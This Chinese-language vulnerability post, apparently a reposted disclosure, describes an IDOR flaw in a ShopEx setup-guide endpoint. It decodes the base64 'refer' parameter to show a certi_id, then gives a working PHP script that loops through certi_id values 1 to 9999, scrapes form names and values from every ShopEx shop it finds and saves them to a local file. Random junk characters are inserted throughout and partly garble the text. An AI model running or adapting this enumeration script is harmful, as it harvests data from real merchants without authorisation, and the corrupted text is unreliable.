ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
6 Q& Y1 N& O( F7 H* U详细说明：
问题出现在shopex 网店使用向导页面


$ d$ q* E+ j% R) N
  p- W7 Z7 D4 x* o5 W1 m6 @2 A% uhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 L  P# C" l7 t; I


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

" e3 m' V+ Q  c
1 ~  s& x3 z4 b' \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


$ }2 m3 U5 G! T* X
<?php
" j7 m& f4 v$ c  f! H
                for ($i=1; $i < 10000; $i++) { //遍历
$ b/ A4 B& M9 u3 T. m
. ?( f& U1 B7 \, y3 \0 ]. e                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {
2 m4 `# Z# ?5 v; N' O# r  g) W
                $url='http://guide.ecos.shopex.cn/step2.php';
! I2 ^4 Y4 f7 K6 E. z% t5 i- R6 L- u+ y
, J6 e& r% N/ T1 E                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
. U& ?8 G: r. S0 e" x
, K1 B# A5 `; Y8 F        $url = $url.'?refer='.$refer;

2 G. F. i0 Q, G6 I        $ch = curl_init($url);

5 Y1 U$ O% l8 W( H! v1 ^        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

: q. q! z; Y9 s' T4 y        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$ ?; ?2 ^* `& A
        $result = curl_exec($ch);
) u. Q0 X2 p' H, T4 j: ]
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
) ^# v" J, v# O0 c4 K: d3 o- i
/ u; Y0 v& `/ f: r( {& M# ^7 L        if(strpos($result,$refer))

        {

+ n9 p: g. V1 k( Q9 d8 o                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

5 A$ U. f6 R- a' Q0 W                foreach ($value[1] as $key) {

2 T0 b5 g, F4 `! \3 O6 n% F4 J                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

( W8 \- N% ]3 N, y; t+ u& E                        echo $res[1][0].':'.$res[3][0]."\r\n";
$ E5 ~8 s) }5 D7 J. d! d3 N
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

+ J' ]  {- ~6 U4 h                        fwrite($fp, $col, strlen($col));
& a7 x  d: y, o2 w% C; b
                }

1 I& M/ u6 r: `! L% a3 C% R8 E                echo '--------------------------------'."\r\n";
' T& E: m; [8 `
: l& y8 K. ~4 w* F" s# H% |                fclose($fp);
6 L* m6 q& J4 ]: v! p4 `& w# S. F: g3 d
9 F" R! D; O0 l1 t: H        }
5 m* ]& J/ `3 `! f# l
        flush();
$ s3 F: l) H' X
+ O# I4 {; K4 k        curl_close($ch);

; `& B' P, g/ V& ]                }

?>
' b, x0 n7 X/ G漏洞证明：
% {& X# ]! p+ y" Z) \* Ahttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
/ _/ E/ t: X) ^( _# `( Z, _, q) }refer换成其他加密方式
) R1 S& r8 |2 w9 ?* E" G0 D